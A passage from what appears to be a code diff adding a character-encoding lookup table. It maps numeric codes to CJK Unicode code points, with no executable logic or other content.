+14637 => 24339, 14638 => 24041, 14639 => 27742, 14640 => 25329, 14641 => 36129,
+14642 => 20849, 14643 => 38057, 14644 => 21246, 14645 => 27807, 14646 => 33503,
+14647 => 29399, 14648 => 22434, 14649 => 26500, 14650 => 36141, 14651 => 22815,
+14652 => 36764, 14653 => 33735, 14654 => 21653, 14655 => 31629, 14656 => 20272,
+14657 => 27837, 14658 => 23396, 14659 => 22993, 14660 => 40723, 14661 => 21476,
+14662 => 34506, 14663 => 39592, 14664 => 35895, 14665 => 32929, 14666 => 25925,
+14667 => 39038, 14668 => 22266, 14669 => 38599, 14670 => 21038, 14671 => 29916,
+14672 => 21072, 14673 => 23521, 14674 => 25346, 14675 => 35074, 14676 => 20054,
+14677 => 25296, 14678 => 24618, 14679 => 26874, 14680 => 20851, 14681 => 23448,
+14682 => 20896, 14683 => 35266, 14684 => 31649, 14685 => 39302, 14686 => 32592,
+14687 => 24815, 14688 => 28748, 14689 => 36143, 14690 => 20809, 14691 => 24191,
+14692 => 36891, 14693 => 29808, 14694 => 35268, 14695 => 22317, 14696 => 30789,
+14697 => 24402, 14698 => 40863, 14699 => 38394, 14700 => 36712, 14701 => 39740,
+14702 => 35809, 14703 => 30328, 14704 => 26690, 14705 => 26588, 14706 => 36330,
+14707 => 36149, 14708 => 21053, 14709 => 36746, 14710 => 28378, 14711 => 26829,
+14712 => 38149, 14713 => 37101, 14714 => 22269, 14715 => 26524, 14716 => 35065,
+14717 => 36807, 14718 => 21704, 14881 => 39608, 14882 => 23401, 14883 => 28023,
+14884 => 27686, 14885 => 20133, 14886 => 23475, 14887 => 39559, 14888 => 37219,
+14889 => 25000, 14890 => 37039, 14891 => 38889, 14892 => 21547, 14893 => 28085,
+14894 => 23506, 14895 => 20989, 14896 => 21898, 14897 => 32597, 14898 => 32752,
+14899 => 25788, 14900 => 25421, 14901 => 26097, 14902 => 25022, 14903 => 24717,
+14904 => 28938, 14905 => 27735, 14906 => 27721, 14907 => 22831, 14908 => 26477,
+14909 => 33322, 14910 => 22741, 14911 => 22158, 14912 => 35946, 14913 => 27627,
+14914 => 37085, 14915 => 22909, 14916 => 32791, 14917 => 21495, 14918 => 28009,
+14919 => 21621, 14920 => 21917, 14921 => 33655, 14922 => 33743, 14923 => 26680,
+14924 => 31166, 14925 => 21644, 14926 => 20309, 14927 => 21512, 14928 => 30418,
+14929 => 35977, 14930 => 38402, 14931 => 27827, 14932 => 28088, 14933 => 36203,
+14934 => 35088, 14935 => 40548, 14936 => 36154, 14937 => 22079, 14938 => 40657,
+14939 => 30165, 14940 => 24456, 14941 => 29408, 14942 => 24680, 14943 => 21756,
+14944 => 20136, 14945 => 27178, 14946 => 34913, 14947 => 24658, 14948 => 36720,
+14949 => 21700, 14950 => 28888, 14951 => 34425, 14952 => 40511, 14953 => 27946,
+14954 => 23439, 14955 => 24344, 14956 => 32418, 14957 => 21897, 14958 => 20399,
+14959 => 29492, 14960 => 21564, 14961 => 21402, 14962 => 20505, 14963 => 21518,
+14964 => 21628, 14965 => 20046, 14966 => 24573, 14967 => 29786, 14968 => 22774,
+14969 => 33899, 14970 => 32993, 14971 => 34676, 14972 => 29392, 14973 => 31946,
+14974 => 28246, 15137 => 24359, 15138 => 34382, 15139 => 21804, 15140 => 25252,
+15141 => 20114, 15142 => 27818, 15143 => 25143, 15144 => 33457, 15145 => 21719,
+15146 => 21326, 15147 => 29502, 15148 => 28369, 15149 => 30011, 15150 => 21010,
+15151 => 21270, 15152 => 35805, 15153 => 27088, 15154 => 24458, 15155 => 24576,
+15156 => 28142, 15157 => 22351, 15158 => 27426, 15159 => 29615, 15160 => 26707,
+15161 => 36824, 15162 => 32531, 15163 => 25442, 15164 => 24739, 15165 => 21796,
+15166 => 30186, 15167 => 35938, 15168 => 28949, 15169 => 28067, 15170 => 23462,
+15171 => 24187, 15172 => 33618, 15173 => 24908, 15174 => 40644, 15175 => 30970,
+15176 => 34647, 15177 => 31783, 15178 => 30343, 15179 => 20976, 15180 => 24822,
+15181 => 29004, 15182 => 26179, 15183 => 24140, 15184 => 24653, 15185 => 35854,
+15186 => 28784, 15187 => 25381, 15188 => 36745, 15189 => 24509, 15190 => 24674,
+15191 => 34516, 15192 => 22238, 15193 => 27585, 15194 => 24724, 15195 => 24935,
+15196 => 21321, 15197 => 24800, 15198 => 26214, 15199 => 36159, 15200 => 31229,
+15201 => 20250, 15202 => 28905, 15203 => 27719, 15204 => 35763, 15205 => 35826,
+15206 => 32472, 15207 => 33636, 15208 => 26127, 15209 => 23130, 15210 => 39746,
+15211 => 27985, 15212 => 28151, 15213 => 35905, 15214 => 27963, 15215 => 20249,
+15216 => 28779, 15217 => 33719, 15218 => 25110, 15219 => 24785, 15220 => 38669,
+15221 => 36135, 15222 => 31096, 15223 => 20987, 15224 => 22334, 15225 => 22522,
+15226 => 26426, 15227 => 30072, 15228 => 31293, 15229 => 31215, 15230 => 31637,
+15393 => 32908, 15394 => 39269, 15395 => 36857, 15396 => 28608, 15397 => 35749,
+15398 => 40481, 15399 => 23020, 15400 => 32489, 15401 => 32521, 15402 => 21513,
+15403 => 26497, 15404 => 26840, 15405 => 36753, 15406 => 31821, 15407 => 38598,
+15408 => 21450, 15409 => 24613, 15410 => 30142, 15411 => 27762, 15412 => 21363,
+15413 => 23241, 15414 => 32423, 15415 => 25380, 15416 => 20960, 15417 => 33034,
+15418 => 24049, 15419 => 34015, 15420 => 25216, 15421 => 20864, 15422 => 23395,
+15423 => 20238, 15424 => 31085, 15425 => 21058, 15426 => 24760, 15427 => 27982,
+15428 => 23492, 15429 => 23490, 15430 => 35745, 15431 => 35760, 15432 => 26082,
+15433 => 24524, 15434 => 38469, 15435 => 22931, 15436 => 32487, 15437 => 32426,
+15438 => 22025, 15439 => 26551, 15440 => 22841, 15441 => 20339, 15442 => 23478,
+15443 => 21152, 15444 => 33626, 15445 => 39050, 15446 => 36158, 15447 => 30002,
+15448 => 38078, 15449 => 20551, 15450 => 31292, 15451 => 20215, 15452 => 26550,
+15453 => 39550, 15454 => 23233, 15455 => 27516, 15456 => 30417, 15457 => 22362,
+15458 => 23574, 15459 => 31546, 15460 => 38388, 15461 => 29006, 15462 => 20860,
+15463 => 32937, 15464 => 33392, 15465 => 22904, 15466 => 32516, 15467 => 33575,
+15468 => 26816, 15469 => 26604, 15470 => 30897, 15471 => 30839, 15472 => 25315,
+15473 => 25441, 15474 => 31616, 15475 => 20461, 15476 => 21098, 15477 => 20943,
+15478 => 33616, 15479 => 27099, 15480 => 37492, 15481 => 36341, 15482 => 36145,
+15483 => 35265, 15484 => 38190, 15485 => 31661, 15486 => 20214, 15649 => 20581,
+15650 => 33328, 15651 => 21073, 15652 => 39279, 15653 => 28176, 15654 => 28293,
+15655 => 28071, 15656 => 24314, 15657 => 20725, 15658 => 23004, 15659 => 23558,
+15660 => 27974, 15661 => 27743, 15662 => 30086, 15663 => 33931, 15664 => 26728,
+15665 => 22870, 15666 => 35762, 15667 => 21280, 15668 => 37233, 15669 => 38477,
+15670 => 34121, 15671 => 26898, 15672 => 30977, 15673 => 28966, 15674 => 33014,
+15675 => 20132, 15676 => 37066, 15677 => 27975, 15678 => 39556, 15679 => 23047,
+15680 => 22204, 15681 => 25605, 15682 => 38128, 15683 => 30699, 15684 => 20389,
+15685 => 33050, 15686 => 29409, 15687 => 35282, 15688 => 39290, 15689 => 32564,
+15690 => 32478, 15691 => 21119, 15692 => 25945, 15693 => 37237, 15694 => 36735,
+15695 => 36739, 15696 => 21483, 15697 => 31382, 15698 => 25581, 15699 => 25509,
+15700 => 30342, 15701 => 31224, 15702 => 34903, 15703 => 38454, 15704 => 25130,
+15705 => 21163, 15706 => 33410, 15707 => 26708, 15708 => 26480, 15709 => 25463,
+15710 => 30571, 15711 => 31469, 15712 => 27905, 15713 => 32467, 15714 => 35299,
+15715 => 22992, 15716 => 25106, 15717 => 34249, 15718 => 33445, 15719 => 30028,
+15720 => 20511, 15721 => 20171, 15722 => 30117, 15723 => 35819, 15724 => 23626,
+15725 => 24062, 15726 => 31563, 15727 => 26020, 15728 => 37329, 15729 => 20170,
+15730 => 27941, 15731 => 35167, 15732 => 32039, 15733 => 38182, 15734 => 20165,
+15735 => 35880, 15736 => 36827, 15737 => 38771, 15738 => 26187, 15739 => 31105,
+15740 => 36817, 15741 => 28908, 15742 => 28024, 15905 => 23613, 15906 => 21170,
+15907 => 33606, 15908 => 20834, 15909 => 33550, 15910 => 30555, 15911 => 26230,
+15912 => 40120, 15913 => 20140, 15914 => 24778, 15915 => 31934, 15916 => 31923,
+15917 => 32463, 15918 => 20117, 15919 => 35686, 15920 => 26223, 15921 => 39048,
+15922 => 38745, 15923 => 22659, 15924 => 25964, 15925 => 38236, 15926 => 24452,
+15927 => 30153, 15928 => 38742, 15929 => 31455, 15930 => 31454, 15931 => 20928,
+15932 => 28847, 15933 => 31384, 15934 => 25578, 15935 => 31350, 15936 => 32416,
+15937 => 29590, 15938 => 38893, 15939 => 20037, 15940 => 28792, 15941 => 20061,
+15942 => 37202, 15943 => 21417, 15944 => 25937, 15945 => 26087, 15946 => 33276,
+15947 => 33285, 15948 => 21646, 15949 => 23601, 15950 => 30106, 15951 => 38816,
+15952 => 25304, 15953 => 29401, 15954 => 30141, 15955 => 23621, 15956 => 39545,
+15957 => 33738, 15958 => 23616, 15959 => 21632, 15960 => 30697, 15961 => 20030,
+15962 => 27822, 15963 => 32858, 15964 => 25298, 15965 => 25454, 15966 => 24040,
+15967 => 20855, 15968 => 36317, 15969 => 36382, 15970 => 38191, 15971 => 20465,
+15972 => 21477, 15973 => 24807, 15974 => 28844, 15975 => 21095, 15976 => 25424,
+15977 => 40515, 15978 => 23071, 15979 => 20518, 15980 => 30519, 15981 => 21367,
+15982 => 32482, 15983 => 25733, 15984 => 25899, 15985 => 25225, 15986 => 25496,
+15987 => 20500, 15988 => 29237, 15989 => 35273, 15990 => 20915, 15991 => 35776,
+15992 => 32477, 15993 => 22343, 15994 => 33740, 15995 => 38055, 15996 => 20891,
+15997 => 21531, 15998 => 23803, 16161 => 20426, 16162 => 31459, 16163 => 27994,
+16164 => 37089, 16165 => 39567, 16166 => 21888, 16167 => 21654, 16168 => 21345,
+16169 => 21679, 16170 => 24320, 16171 => 25577, 16172 => 26999, 16173 => 20975,
+16174 => 24936, 16175 => 21002, 16176 => 22570, 16177 => 21208, 16178 => 22350,
+16179 => 30733, 16180 => 30475, 16181 => 24247, 16182 => 24951, 16183 => 31968,
+16184 => 25179, 16185 => 25239, 16186 => 20130, 16187 => 28821, 16188 => 32771,
+16189 => 25335, 16190 => 28900, 16191 => 38752, 16192 => 22391, 16193 => 33499,
+16194 => 26607, 16195 => 26869, 16196 => 30933, 16197 => 39063, 16198 => 31185,
+16199 => 22771, 16200 => 21683, 16201 => 21487, 16202 => 28212, 16203 => 20811,
+16204 => 21051, 16205 => 23458, 16206 => 35838, 16207 => 32943, 16208 => 21827,
+16209 => 22438, 16210 => 24691, 16211 => 22353, 16212 => 21549, 16213 => 31354,
+16214 => 24656, 16215 => 23380, 16216 => 25511, 16217 => 25248, 16218 => 21475,
+16219 => 25187, 16220 => 23495, 16221 => 26543, 16222 => 21741, 16223 => 31391,
+16224 => 33510, 16225 => 37239, 16226 => 24211, 16227 => 35044, 16228 => 22840,
+16229 => 22446, 16230 => 25358, 16231 => 36328, 16232 => 33007, 16233 => 22359,
+16234 => 31607, 16235 => 20393, 16236 => 24555, 16237 => 23485, 16238 => 27454,
+16239 => 21281, 16240 => 31568, 16241 => 29378, 16242 => 26694, 16243 => 30719,
+16244 => 30518, 16245 => 26103, 16246 => 20917, 16247 => 20111, 16248 => 30420,
+16249 => 23743, 16250 => 31397, 16251 => 33909, 16252 => 22862, 16253 => 39745,
+16254 => 20608, 16417 => 39304, 16418 => 24871, 16419 => 28291, 16420 => 22372,
+16421 => 26118, 16422 => 25414, 16423 => 22256, 16424 => 25324, 16425 => 25193,
+16426 => 24275, 16427 => 38420, 16428 => 22403, 16429 => 25289, 16430 => 21895,
+16431 => 34593, 16432 => 33098, 16433 => 36771, 16434 => 21862, 16435 => 33713,
+16436 => 26469, 16437 => 36182, 16438 => 34013, 16439 => 23146, 16440 => 26639,
+16441 => 25318, 16442 => 31726, 16443 => 38417, 16444 => 20848, 16445 => 28572,
+16446 => 35888, 16447 => 25597, 16448 => 35272, 16449 => 25042, 16450 => 32518,
+16451 => 28866, 16452 => 28389, 16453 => 29701, 16454 => 27028, 16455 => 29436,
+16456 => 24266, 16457 => 37070, 16458 => 26391, 16459 => 28010, 16460 => 25438,
+16461 => 21171, 16462 => 29282, 16463 => 32769, 16464 => 20332, 16465 => 23013,
+16466 => 37226, 16467 => 28889, 16468 => 28061, 16469 => 21202, 16470 => 20048,
+16471 => 38647, 16472 => 38253, 16473 => 34174, 16474 => 30922, 16475 => 32047,
+16476 => 20769, 16477 => 22418, 16478 => 25794, 16479 => 32907, 16480 => 31867,
+16481 => 27882, 16482 => 26865, 16483 => 26974, 16484 => 20919, 16485 => 21400,
+16486 => 26792, 16487 => 29313, 16488 => 40654, 16489 => 31729, 16490 => 29432,
+16491 => 31163, 16492 => 28435, 16493 => 29702, 16494 => 26446, 16495 => 37324,
+16496 => 40100, 16497 => 31036, 16498 => 33673, 16499 => 33620, 16500 => 21519,
+16501 => 26647, 16502 => 20029, 16503 => 21385, 16504 => 21169, 16505 => 30782,
+16506 => 21382, 16507 => 21033, 16508 => 20616, 16509 => 20363, 16510 => 20432,
+16673 => 30178, 16674 => 31435, 16675 => 31890, 16676 => 27813, 16677 => 38582,
+16678 => 21147, 16679 => 29827, 16680 => 21737, 16681 => 20457, 16682 => 32852,
+16683 => 33714, 16684 => 36830, 16685 => 38256, 16686 => 24265, 16687 => 24604,
+16688 => 28063, 16689 => 24088, 16690 => 25947, 16691 => 33080, 16692 => 38142,
+16693 => 24651, 16694 => 28860, 16695 => 32451, 16696 => 31918, 16697 => 20937,
+16698 => 26753, 16699 => 31921, 16700 => 33391, 16701 => 20004, 16702 => 36742,
+16703 => 37327, 16704 => 26238, 16705 => 20142, 16706 => 35845, 16707 => 25769,
+16708 => 32842, 16709 => 20698, 16710 => 30103, 16711 => 29134, 16712 => 23525,
+16713 => 36797, 16714 => 28518, 16715 => 20102, 16716 => 25730, 16717 => 38243,
+16718 => 24278, 16719 => 26009, 16720 => 21015, 16721 => 35010, 16722 => 28872,
+16723 => 21155, 16724 => 29454, 16725 => 29747, 16726 => 26519, 16727 => 30967,
+16728 => 38678, 16729 => 20020, 16730 => 37051, 16731 => 40158, 16732 => 28107,
+16733 => 20955, 16734 => 36161, 16735 => 21533, 16736 => 25294, 16737 => 29618,
+16738 => 33777, 16739 => 38646, 16740 => 40836, 16741 => 38083, 16742 => 20278,
+16743 => 32666, 16744 => 20940, 16745 => 28789, 16746 => 38517, 16747 => 23725,
+16748 => 39046, 16749 => 21478, 16750 => 20196, 16751 => 28316, 16752 => 29705,
+16753 => 27060, 16754 => 30827, 16755 => 39311, 16756 => 30041, 16757 => 21016,
+16758 => 30244, 16759 => 27969, 16760 => 26611, 16761 => 20845, 16762 => 40857,
+16763 => 32843, 16764 => 21657, 16765 => 31548, 16766 => 31423, 16929 => 38534,
+16930 => 22404, 16931 => 25314, 16932 => 38471, 16933 => 27004, 16934 => 23044,
+16935 => 25602, 16936 => 31699, 16937 => 28431, 16938 => 38475, 16939 => 33446,
+16940 => 21346, 16941 => 39045, 16942 => 24208, 16943 => 28809, 16944 => 25523,
+16945 => 21348, 16946 => 34383, 16947 => 40065, 16948 => 40595, 16949 => 30860,
+16950 => 38706, 16951 => 36335, 16952 => 36162, 16953 => 40575, 16954 => 28510,
+16955 => 31108, 16956 => 24405, 16957 => 38470, 16958 => 25134, 16959 => 39540,
+16960 => 21525, 16961 => 38109, 16962 => 20387, 16963 => 26053, 16964 => 23653,
+16965 => 23649, 16966 => 32533, 16967 => 34385, 16968 => 27695, 16969 => 24459,
+16970 => 29575, 16971 => 28388, 16972 => 32511, 16973 => 23782, 16974 => 25371,
+16975 => 23402, 16976 => 28390, 16977 => 21365, 16978 => 20081, 16979 => 25504,
+16980 => 30053, 16981 => 25249, 16982 => 36718, 16983 => 20262, 16984 => 20177,
+16985 => 27814, 16986 => 32438, 16987 => 35770, 16988 => 33821, 16989 => 34746,
+16990 => 32599, 16991 => 36923, 16992 => 38179, 16993 => 31657, 16994 => 39585,
+16995 => 35064, 16996 => 33853, 16997 => 27931, 16998 => 39558, 16999 => 32476,
+17000 => 22920, 17001 => 40635, 17002 => 29595, 17003 => 30721, 17004 => 34434,
+17005 => 39532, 17006 => 39554, 17007 => 22043, 17008 => 21527, 17009 => 22475,
+17010 => 20080, 17011 => 40614, 17012 => 21334, 17013 => 36808, 17014 => 33033,
+17015 => 30610, 17016 => 39314, 17017 => 34542, 17018 => 28385, 17019 => 34067,
+17020 => 26364, 17021 => 24930, 17022 => 28459, 17185 => 35881, 17186 => 33426,
+17187 => 33579, 17188 => 30450, 17189 => 27667, 17190 => 24537, 17191 => 33725,
+17192 => 29483, 17193 => 33541, 17194 => 38170, 17195 => 27611, 17196 => 30683,
+17197 => 38086, 17198 => 21359, 17199 => 33538, 17200 => 20882, 17201 => 24125,
+17202 => 35980, 17203 => 36152, 17204 => 20040, 17205 => 29611, 17206 => 26522,
+17207 => 26757, 17208 => 37238, 17209 => 38665, 17210 => 29028, 17211 => 27809,
+17212 => 30473, 17213 => 23186, 17214 => 38209, 17215 => 27599, 17216 => 32654,
+17217 => 26151, 17218 => 23504, 17219 => 22969, 17220 => 23194, 17221 => 38376,
+17222 => 38391, 17223 => 20204, 17224 => 33804, 17225 => 33945, 17226 => 27308,
+17227 => 30431, 17228 => 38192, 17229 => 29467, 17230 => 26790, 17231 => 23391,
+17232 => 30511, 17233 => 37274, 17234 => 38753, 17235 => 31964, 17236 => 36855,
+17237 => 35868, 17238 => 24357, 17239 => 31859, 17240 => 31192, 17241 => 35269,
+17242 => 27852, 17243 => 34588, 17244 => 23494, 17245 => 24130, 17246 => 26825,
+17247 => 30496, 17248 => 32501, 17249 => 20885, 17250 => 20813, 17251 => 21193,
+17252 => 23081, 17253 => 32517, 17254 => 38754, 17255 => 33495, 17256 => 25551,
+17257 => 30596, 17258 => 34256, 17259 => 31186, 17260 => 28218, 17261 => 24217,
+17262 => 22937, 17263 => 34065, 17264 => 28781, 17265 => 27665, 17266 => 25279,
+17267 => 30399, 17268 => 25935, 17269 => 24751, 17270 => 38397, 17271 => 26126,
+17272 => 34719, 17273 => 40483, 17274 => 38125, 17275 => 21517, 17276 => 21629,
+17277 => 35884, 17278 => 25720, 17441 => 25721, 17442 => 34321, 17443 => 27169,
+17444 => 33180, 17445 => 30952, 17446 => 25705, 17447 => 39764, 17448 => 25273,
+17449 => 26411, 17450 => 33707, 17451 => 22696, 17452 => 40664, 17453 => 27819,
+17454 => 28448, 17455 => 23518, 17456 => 38476, 17457 => 35851, 17458 => 29279,
+17459 => 26576, 17460 => 25287, 17461 => 29281, 17462 => 20137, 17463 => 22982,
+17464 => 27597, 17465 => 22675, 17466 => 26286, 17467 => 24149, 17468 => 21215,
+17469 => 24917, 17470 => 26408, 17471 => 30446, 17472 => 30566, 17473 => 29287,
+17474 => 31302, 17475 => 25343, 17476 => 21738, 17477 => 21584, 17478 => 38048,
+17479 => 37027, 17480 => 23068, 17481 => 32435, 17482 => 27670, 17483 => 20035,
+17484 => 22902, 17485 => 32784, 17486 => 22856, 17487 => 21335, 17488 => 30007,
+17489 => 38590, 17490 => 22218, 17491 => 25376, 17492 => 33041, 17493 => 24700,
+17494 => 38393, 17495 => 28118, 17496 => 21602, 17497 => 39297, 17498 => 20869,
+17499 => 23273, 17500 => 33021, 17501 => 22958, 17502 => 38675, 17503 => 20522,
+17504 => 27877, 17505 => 23612, 17506 => 25311, 17507 => 20320, 17508 => 21311,
+17509 => 33147, 17510 => 36870, 17511 => 28346, 17512 => 34091, 17513 => 25288,
+17514 => 24180, 17515 => 30910, 17516 => 25781, 17517 => 25467, 17518 => 24565,
+17519 => 23064, 17520 => 37247, 17521 => 40479, 17522 => 23615, 17523 => 25423,
+17524 => 32834, 17525 => 23421, 17526 => 21870, 17527 => 38218, 17528 => 38221,
+17529 => 28037, 17530 => 24744, 17531 => 26592, 17532 => 29406, 17533 => 20957,
+17534 => 23425, 17697 => 25319, 17698 => 27870, 17699 => 29275, 17700 => 25197,
+17701 => 38062, 17702 => 32445, 17703 => 33043, 17704 => 27987, 17705 => 20892,
+17706 => 24324, 17707 => 22900, 17708 => 21162, 17709 => 24594, 17710 => 22899,
+17711 => 26262, 17712 => 34384, 17713 => 30111, 17714 => 25386, 17715 => 25062,
+17716 => 31983, 17717 => 35834, 17718 => 21734, 17719 => 27431, 17720 => 40485,
+17721 => 27572, 17722 => 34261, 17723 => 21589, 17724 => 20598, 17725 => 27812,
+17726 => 21866, 17727 => 36276, 17728 => 29228, 17729 => 24085, 17730 => 24597,
+17731 => 29750, 17732 => 25293, 17733 => 25490, 17734 => 29260, 17735 => 24472,
+17736 => 28227, 17737 => 27966, 17738 => 25856, 17739 => 28504, 17740 => 30424,
+17741 => 30928, 17742 => 30460, 17743 => 30036, 17744 => 21028, 17745 => 21467,
+17746 => 20051, 17747 => 24222, 17748 => 26049, 17749 => 32810, 17750 => 32982,
+17751 => 25243, 17752 => 21638, 17753 => 21032, 17754 => 28846, 17755 => 34957,
+17756 => 36305, 17757 => 27873, 17758 => 21624, 17759 => 32986, 17760 => 22521,
+17761 => 35060, 17762 => 36180, 17763 => 38506, 17764 => 37197, 17765 => 20329,
+17766 => 27803, 17767 => 21943, 17768 => 30406, 17769 => 30768, 17770 => 25256,
+17771 => 28921, 17772 => 28558, 17773 => 24429, 17774 => 34028, 17775 => 26842,
+17776 => 30844, 17777 => 31735, 17778 => 33192, 17779 => 26379, 17780 => 40527,
+17781 => 25447, 17782 => 30896, 17783 => 22383, 17784 => 30738, 17785 => 38713,
+17786 => 25209, 17787 => 25259, 17788 => 21128, 17789 => 29749, 17790 => 27607,
+17953 => 21860, 17954 => 33086, 17955 => 30130, 17956 => 30382, 17957 => 21305,
+17958 => 30174, 17959 => 20731, 17960 => 23617, 17961 => 35692, 17962 => 31687,
+17963 => 20559, 17964 => 29255, 17965 => 39575, 17966 => 39128, 17967 => 28418,
+17968 => 29922, 17969 => 31080, 17970 => 25735, 17971 => 30629, 17972 => 25340,
+17973 => 39057, 17974 => 36139, 17975 => 21697, 17976 => 32856, 17977 => 20050,
+17978 => 22378, 17979 => 33529, 17980 => 33805, 17981 => 24179, 17982 => 20973,
+17983 => 29942, 17984 => 35780, 17985 => 23631, 17986 => 22369, 17987 => 27900,
+17988 => 39047, 17989 => 23110, 17990 => 30772, 17991 => 39748, 17992 => 36843,
+17993 => 31893, 17994 => 21078, 17995 => 25169, 17996 => 38138, 17997 => 20166,
+17998 => 33670, 17999 => 33889, 18000 => 33769, 18001 => 33970, 18002 => 22484,
+18003 => 26420, 18004 => 22275, 18005 => 26222, 18006 => 28006, 18007 => 35889,
+18008 => 26333, 18009 => 28689, 18010 => 26399, 18011 => 27450, 18012 => 26646,
+18013 => 25114, 18014 => 22971, 18015 => 19971, 18016 => 20932, 18017 => 28422,
+18018 => 26578, 18019 => 27791, 18020 => 20854, 18021 => 26827, 18022 => 22855,
+18023 => 27495, 18024 => 30054, 18025 => 23822, 18026 => 33040, 18027 => 40784,
+18028 => 26071, 18029 => 31048, 18030 => 31041, 18031 => 39569, 18032 => 36215,
+18033 => 23682, 18034 => 20062, 18035 => 20225, 18036 => 21551, 18037 => 22865,
+18038 => 30732, 18039 => 22120, 18040 => 27668, 18041 => 36804, 18042 => 24323,
+18043 => 27773, 18044 => 27875, 18045 => 35755, 18046 => 25488, 18209 => 24688,
+18210 => 27965, 18211 => 29301, 18212 => 25190, 18213 => 38030, 18214 => 38085,
+18215 => 21315, 18216 => 36801, 18217 => 31614, 18218 => 20191, 18219 => 35878,
+18220 => 20094, 18221 => 40660, 18222 => 38065, 18223 => 38067, 18224 => 21069,
+18225 => 28508, 18226 => 36963, 18227 => 27973, 18228 => 35892, 18229 => 22545,
+18230 => 23884, 18231 => 27424, 18232 => 27465, 18233 => 26538, 18234 => 21595,
+18235 => 33108, 18236 => 32652, 18237 => 22681, 18238 => 34103, 18239 => 24378,
+18240 => 25250, 18241 => 27207, 18242 => 38201, 18243 => 25970, 18244 => 24708,
+18245 => 26725, 18246 => 30631, 18247 => 20052, 18248 => 20392, 18249 => 24039,
+18250 => 38808, 18251 => 25772, 18252 => 32728, 18253 => 23789, 18254 => 20431,
+18255 => 31373, 18256 => 20999, 18257 => 33540, 18258 => 19988, 18259 => 24623,
+18260 => 31363, 18261 => 38054, 18262 => 20405, 18263 => 20146, 18264 => 31206,
+18265 => 29748, 18266 => 21220, 18267 => 33465, 18268 => 25810, 18269 => 31165,
+18270 => 23517, 18271 => 27777, 18272 => 38738, 18273 => 36731, 18274 => 27682,
+18275 => 20542, 18276 => 21375, 18277 => 28165, 18278 => 25806, 18279 => 26228,
+18280 => 27696, 18281 => 24773, 18282 => 39031, 18283 => 35831, 18284 => 24198,
+18285 => 29756, 18286 => 31351, 18287 => 31179, 18288 => 19992, 18289 => 37041,
+18290 => 29699, 18291 => 27714, 18292 => 22234, 18293 => 37195, 18294 => 27845,
+18295 => 36235, 18296 => 21306, 18297 => 34502, 18298 => 26354, 18299 => 36527,
+18300 => 23624, 18301 => 39537, 18302 => 28192, 18465 => 21462, 18466 => 23094,
+18467 => 40843, 18468 => 36259, 18469 => 21435, 18470 => 22280, 18471 => 39079,
+18472 => 26435, 18473 => 37275, 18474 => 27849, 18475 => 20840, 18476 => 30154,
+18477 => 25331, 18478 => 29356, 18479 => 21048, 18480 => 21149, 18481 => 32570,
+18482 => 28820, 18483 => 30264, 18484 => 21364, 18485 => 40522, 18486 => 27063,
+18487 => 30830, 18488 => 38592, 18489 => 35033, 18490 => 32676, 18491 => 28982,
+18492 => 29123, 18493 => 20873, 18494 => 26579, 18495 => 29924, 18496 => 22756,
+18497 => 25880, 18498 => 22199, 18499 => 35753, 18500 => 39286, 18501 => 25200,
+18502 => 32469, 18503 => 24825, 18504 => 28909, 18505 => 22764, 18506 => 20161,
+18507 => 20154, 18508 => 24525, 18509 => 38887, 18510 => 20219, 18511 => 35748,
+18512 => 20995, 18513 => 22922, 18514 => 32427, 18515 => 25172, 18516 => 20173,
+18517 => 26085, 18518 => 25102, 18519 => 33592, 18520 => 33993, 18521 => 33635,
+18522 => 34701, 18523 => 29076, 18524 => 28342, 18525 => 23481, 18526 => 32466,
+18527 => 20887, 18528 => 25545, 18529 => 26580, 18530 => 32905, 18531 => 33593,
+18532 => 34837, 18533 => 20754, 18534 => 23418, 18535 => 22914, 18536 => 36785,
+18537 => 20083, 18538 => 27741, 18539 => 20837, 18540 => 35109, 18541 => 36719,
+18542 => 38446, 18543 => 34122, 18544 => 29790, 18545 => 38160, 18546 => 38384,
+18547 => 28070, 18548 => 33509, 18549 => 24369, 18550 => 25746, 18551 => 27922,
+18552 => 33832, 18553 => 33134, 18554 => 40131, 18555 => 22622, 18556 => 36187,
+18557 => 19977, 18558 => 21441, 18721 => 20254, 18722 => 25955, 18723 => 26705,
+18724 => 21971, 18725 => 20007, 18726 => 25620, 18727 => 39578, 18728 => 25195,
+18729 => 23234, 18730 => 29791, 18731 => 33394, 18732 => 28073, 18733 => 26862,
+18734 => 20711, 18735 => 33678, 18736 => 30722, 18737 => 26432, 18738 => 21049,
+18739 => 27801, 18740 => 32433, 18741 => 20667, 18742 => 21861, 18743 => 29022,
+18744 => 31579, 18745 => 26194, 18746 => 29642, 18747 => 33515, 18748 => 26441,
+18749 => 23665, 18750 => 21024, 18751 => 29053, 18752 => 34923, 18753 => 38378,
+18754 => 38485, 18755 => 25797, 18756 => 36193, 18757 => 33203, 18758 => 21892,
+18759 => 27733, 18760 => 25159, 18761 => 32558, 18762 => 22674, 18763 => 20260,
+18764 => 21830, 18765 => 36175, 18766 => 26188, 18767 => 19978, 18768 => 23578,
+18769 => 35059, 18770 => 26786, 18771 => 25422, 18772 => 31245, 18773 => 28903,
+18774 => 33421, 18775 => 21242, 18776 => 38902, 18777 => 23569, 18778 => 21736,
+18779 => 37045, 18780 => 32461, 18781 => 22882, 18782 => 36170, 18783 => 34503,
+18784 => 33292, 18785 => 33293, 18786 => 36198, 18787 => 25668, 18788 => 23556,
+18789 => 24913, 18790 => 28041, 18791 => 31038, 18792 => 35774, 18793 => 30775,
+18794 => 30003, 18795 => 21627, 18796 => 20280, 18797 => 36523, 18798 => 28145,
+18799 => 23072, 18800 => 32453, 18801 => 31070, 18802 => 27784, 18803 => 23457,
+18804 => 23158, 18805 => 29978, 18806 => 32958, 18807 => 24910, 18808 => 28183,
+18809 => 22768, 18810 => 29983, 18811 => 29989, 18812 => 29298, 18813 => 21319,
+18814 => 32499, 18977 => 30465, 18978 => 30427, 18979 => 21097, 18980 => 32988,
+18981 => 22307, 18982 => 24072, 18983 => 22833, 18984 => 29422, 18985 => 26045,
+18986 => 28287, 18987 => 35799, 18988 => 23608, 18989 => 34417, 18990 => 21313,
+18991 => 30707, 18992 => 25342, 18993 => 26102, 18994 => 20160, 18995 => 39135,
+18996 => 34432, 18997 => 23454, 18998 => 35782, 18999 => 21490, 19000 => 30690,
+19001 => 20351, 19002 => 23630, 19003 => 39542, 19004 => 22987, 19005 => 24335,
+19006 => 31034, 19007 => 22763, 19008 => 19990, 19009 => 26623, 19010 => 20107,
+19011 => 25325, 19012 => 35475, 19013 => 36893, 19014 => 21183, 19015 => 26159,
+19016 => 21980, 19017 => 22124, 19018 => 36866, 19019 => 20181, 19020 => 20365,
